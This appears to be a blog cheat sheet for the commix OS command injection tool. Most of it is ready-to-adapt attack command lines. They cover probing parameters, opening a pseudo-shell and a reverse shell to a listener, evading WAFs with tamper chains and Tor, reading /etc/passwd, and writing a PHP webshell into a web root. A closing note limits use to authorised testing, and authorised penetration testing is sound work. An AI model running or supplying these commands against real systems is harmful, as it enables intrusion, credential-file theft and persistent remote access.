commix Cheat Sheet: Every Flag I Actually Use for OS Command Injection

commix is the tool I reach for whenever a parameter looks like it might end up inside a shell command on the server. It automates OS command injection the same way sqlmap automates SQL injection. Different bug class, similar workflow. This is the field reference for the flags that matter, grouped by the task I am trying to accomplish.

If you are new to commix, the commix tutorial walking through an attack against a vulnerable app is the right next stop. For the underlying bug class, read the OS command injection deep dive. The closely related argument injection writeup covers cases where commix is the wrong tool. If you are picking tools for a wider engagement, the best RCE tools list for 2026 covers the alternatives, and the remote code execution overview frames where command injection sits in the broader RCE landscape.

Quick reference

commix vs sqlmap (when to reach for which)

These two tools look similar at a distance and the flag shapes echo each other on purpose: same --level, --technique, --tamper, --os-shell, -r req.txt, --batch conventions. They solve different problems though, and reaching for the wrong one wastes hours.

If a parameter is being passed into a SQL query and you point commix at it, you will burn a lot of requests for nothing. If it is being shelled out and you point sqlmap at it, same outcome. Identify the sink first (response timing, error strings, the kind of utility the page exposes), then pick the tool.

What req.txt looks like (and how to grab it from your browser)

req.txt is a raw HTTP request file: method line, headers, blank line, body. Most of my commix runs use -r req.txt because it carries the entire request shape without retyping. The format and capture path are identical to the one documented in the sqlmap cheat sheet (DevTools Network tab, save as HAR, or copy each header into a text file). commix accepts the same file format with no changes. The only commix-specific note is that commix does not have a HAR loader, so for commix specifically you do want a real req.txt rather than .har.

Workflow templates

A few command lines I use as starting points and adapt from. Edit the values once and every example below updates.

Simplest possible probe, just a URL with a query string. Good for a first sanity check on a vulnerable lookup form:

commix -u ':target_url' --batch :ua --level=:level --technique=:technique

POST form, no req.txt needed. commix infers POST from --data:

commix -u 'https://target.example/ping' \
     --data='host=1.1.1.1&submit=ping' \
     --batch :ua --level=:level --technique=:technique

PUT or JSON API, force the method and content-type:

commix -u 'https://api.target.example/v1/jobs' \
     --method=PUT \
     --headers='Content-Type: application/json' \
     --data='{"name":"test","cmd":"echo hi"}' \
     --batch :ua --level=:level --technique=:technique

First pass against a captured request, light touch, defaults, see if anything obvious surfaces:

commix -r req.txt --batch :ua --level=:level --technique=:technique

Confirmed injection, drop into a pseudo-shell:

commix -r req.txt --batch :ua --os-shell --technique=:technique

Reverse shell back to your listener. commix prompts for LHOST, LPORT, and a payload language:

commix -r req.txt --batch :ua --reverse-tcp --technique=:technique

Behind a WAF, slow and quiet, tamper chain layered on:

commix -r req.txt --batch :ua --delay=:delay --timeout=:timeout \
     --tamper=space2ifs,backticks,base64encode --technique=t

Through Tor, paranoid mode:

commix -r req.txt --batch --tor --check-tor :ua \
     --delay=:delay --timeout=:timeout --technique=:technique

Once injection is confirmed, the typical enumeration sequence:

commix -r req.txt --batch --current-user
commix -r req.txt --batch --hostname --sys-info
commix -r req.txt --batch --is-root --users
commix -r req.txt --batch --file-read=/etc/passwd

Write a PHP webshell into the document root, then call it directly in the browser:

commix -r req.txt --batch \
       --file-write=local-shell.php \
       --file-dest=/var/www/html/s.php \
       --web-root=/var/www/html

Flags I almost never use

For completeness, a short list of flags that exist but rarely earn their keep:

• --smart, claims to skip non-injectable parameters early. In practice it skips real injections too.
• --check-internet, adds round trips. If your connection is broken, you will know.
• --purge, only useful at the very end of an engagement to wipe local artefacts.

A note on responsible use

Every flag above is dual use. The same --os-shell that gives you a foothold on a production server is the one I run against my own lab targets fifty times a week. Use these against systems you own or are explicitly authorised to test. The authorisation block at the top is not decorative, and the legal framing in the OS command injection deep dive covers the rest.